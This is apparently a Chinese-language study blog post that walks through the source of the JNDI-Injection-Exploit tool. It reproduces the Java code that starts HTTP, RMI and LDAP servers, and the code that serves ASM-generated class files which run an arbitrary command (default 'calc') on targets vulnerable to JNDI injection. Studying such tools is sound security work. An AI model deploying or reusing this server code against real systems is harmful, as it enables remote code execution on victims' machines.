0x00 前言 最近在学习webLogic、Jackson漏洞的过程中用到了很多次JNDI-Injection-Exploit 工具,出于好奇学习了下内部代码。
0x01 一些基础知识 0x02 结合代码深入学习 从程序入口开始,按照目录依次分析
run:ServerStart.java 开启整个JNDI服务
util:Mapper.java;Reflections.java;Transformers.java 通用的工具
jetty:JettyServer.java 开启HTTP相关服务
jndi:LDAPRefServer,java;RMIRefServer.java 开启RMI、LDAP服务
run:ServerStart.java ServerStart.java很简单明了,就是根据IP、命令、默认设置的端口开启HTTP、RMI、LDAP服务,并记录输出日志信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 public class ServerStart { public static String addr = getLocalIpByNetcard(); public static int rmiPort = 1099 ; public static int ldapPort = 1389 ; private static int jettyPort = 8180 ; private URL codebase; private JettyServer jettyServer; private RMIRefServer rmiRefServer; private LDAPRefServer ldapRefServer; public static void main (String[] args) throws Exception { String cmdArray = "calc" ; addr = "192.168.116.1" ; ServerStart servers = new ServerStart(new URL("http://" + addr +":" + jettyPort +"/" ),StringUtils.join(cmdArray," " )); System.out.println("[ADDRESS] >> " + addr); System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," " ),ANSI_BLUE)); Class.forName("util.Mapper" ); System.out.println("----------------------------Server Log----------------------------" ); System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort); Thread threadJetty = new Thread(servers.jettyServer); threadJetty.start(); System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort); Thread threadRMI = new Thread(servers.rmiRefServer); threadRMI.start(); Thread threadLDAP = new Thread(servers.ldapRefServer); threadLDAP.start(); } public ServerStart (String cmd) throws Exception { this .codebase = new URL("http://" + getLocalIpByNetcard() +":" + jettyPort +"/" ); jettyServer = new JettyServer(jettyPort,cmd); rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd); ldapRefServer = new LDAPRefServer(ldapPort,codebase); } public ServerStart (URL codebase, String cmd) throws Exception { this .codebase = codebase; jettyServer = new JettyServer(jettyPort,cmd); rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd); ldapRefServer = new LDAPRefServer(ldapPort,this .codebase); } public static Options cmdlineOptions () { Options opts = new Options(); Option c = new Option("C" ,true ,"The command executed in remote .class." ); c.setArgs(Option.UNLIMITED_VALUES); opts.addOption(c); Option addr = new Option("A" ,true ,"The address of server(ip or domain)." ); opts.addOption(addr); return opts; } public static String getLocalIpByNetcard () { try { for (Enumeration<NetworkInterface> e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) { NetworkInterface item = e.nextElement(); for (InterfaceAddress address : item.getInterfaceAddresses()) { if (item.isLoopback() || !item.isUp()) { continue ; } if (address.getAddress() instanceof Inet4Address) { Inet4Address inet4Address = (Inet4Address) address.getAddress(); return inet4Address.getHostAddress(); } } } return InetAddress.getLocalHost().getHostAddress(); } catch (Exception e) { throw new RuntimeException(e); } } public static String getLocalTime () { Date d = new Date(); DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss" ); return sdf.format(d); } public static Boolean isLinux () { return !System.getProperty("os.name" ).toLowerCase().startsWith("win" ); } public static String withColor (String str,String color) { if (isLinux()) { return color + str + ANSI_RESET; } return str; } }
Util Mapper很明了,主要是用来输出提示,告知用户相关信息
Transformers主要用ASM来动态生成执行命令的字节码,便于实现远程服务器从HTTP服务器获取class来执行命令。
ASM是一个Java字节码操纵框架,被用来动态生成类 或者增强既有类的功能。所以它能灵活地根据输入的参数插入到类模板,从而实现执行任何命令需求。
ASM的核心API:
1 2 3 ClassReader:用于读取已经编译好的.class文件。 ClassWriter:用于重新构建编译后的类,如修改类名、属性以及方法,也可以生成新的类的字节码文件。 各种Visitor类:ASM内部采用访问者模式根据字节码从上到下依次处理,对于字节码文件中不同的区域有不同的Visitor。用于访问方法的MethodVisitor、用于访问类变量的FieldVisitor、用于访问注解的AnnotationVisitor等。为了实现AOP,重点要使用的是MethodVisitor。
jetty:JettyServer.java JettyServe用于开启HTTP服务,主要是提供远程服务器class字节码,这个字节码由Transformers根据请求的是JDK7还是JDK8的模板来生成执行命令的class字节码,从而动态执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 public class JettyServer implements Runnable { private int port; private Server server; private static String command; public JettyServer (int port,String cmd) { this .port = port; server = new Server(port); command = cmd; } @Override public void run () { ServletHandler handler = new ServletHandler(); server.setHandler(handler); handler.addServletWithMapping(DownloadServlet.class, "/*"); try { server.start(); server.join(); }catch (Exception e){ e.printStackTrace(); } } @SuppressWarnings ("serial" ) public static class DownloadServlet extends HttpServlet { public void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String filename = request.getRequestURI().substring(1 ); InputStream in = checkFilename(filename); byte [] transformed; ByteArrayInputStream bain = null ; if (in != null ) { try { transformed = insertCommand(in,command); bain = new ByteArrayInputStream(transformed); }catch (Exception e){ e.printStackTrace(); System.out.println(getLocalTime() + " [JETTYSERVER]>> Byte array build failed." ); } System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL()); response.setStatus(HttpServletResponse.SC_OK); response.setHeader("content-disposition" , "attachment;filename=" +URLEncoder.encode(filename, "UTF-8" )); int len ; byte [] buffer = new byte [1024 ]; OutputStream out = response.getOutputStream(); if (bain != null ){ while ((len = bain.read(buffer)) > 0 ) { out.write(buffer,0 ,len); } bain.close(); }else { System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!" ); } }else { System.out.println(getLocalTime() + " [JETTYSERVER]>> URL(" + request.getRequestURL() +") Not Exist!" ); } } public void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } private static InputStream checkFilename (String filename) { String template; switch (filename){ case "ExecTemplateJDK7.class" : template = "template/ExecTemplateJDK7.class" ; break ; case "ExecTemplateJDK8.class" : template = "template/ExecTemplateJDK8.class" ; break ; default : return null ; } return Thread.currentThread().getContextClassLoader().getResourceAsStream(template); } }
jndi:LDAPRefServer,java;RMIRefServer.java RMIRefServer.java 参考链接:
welk1n/JNDI-Injection-Exploit
字节码增强之ASM
Java字节码增强探秘
Java 动态字节码技术
Jetty篇教程 之Jetty 嵌入式服务器